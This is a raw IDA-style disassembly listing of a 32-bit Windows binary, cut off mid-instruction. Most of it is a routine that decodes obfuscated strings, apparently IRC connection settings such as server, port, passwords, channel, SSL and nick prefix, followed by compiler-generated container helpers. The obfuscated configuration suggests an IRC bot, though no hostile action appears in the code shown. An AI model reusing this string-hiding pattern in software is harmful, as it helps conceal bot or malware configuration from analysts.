call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h mov byte ptr [esp+390h], 3Ah push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D835F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov byte ptr [esp+370h], 3Eh mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 mov byte ptr [esp+374h], 43h push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h mov byte ptr [esp+378h], 4Ch push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov byte ptr [esp+370h], 50h mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D835F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F40 push offset word_4E8E6A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+44h] mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp lea edx, [esp+278h] push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E6A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493B4 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449290 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449322 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492D9 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44936B mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44948F mov ecx, offset word_44ACE6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC6E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 mov byte ptr [esp+358h], 1Ch lea ecx, [esp+2Ch] call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 mov byte ptr [esp+358h], 1 lea ecx, [esp+1E8h] call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] call near ptr 760A0430h nop lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: ; CODE XREF: 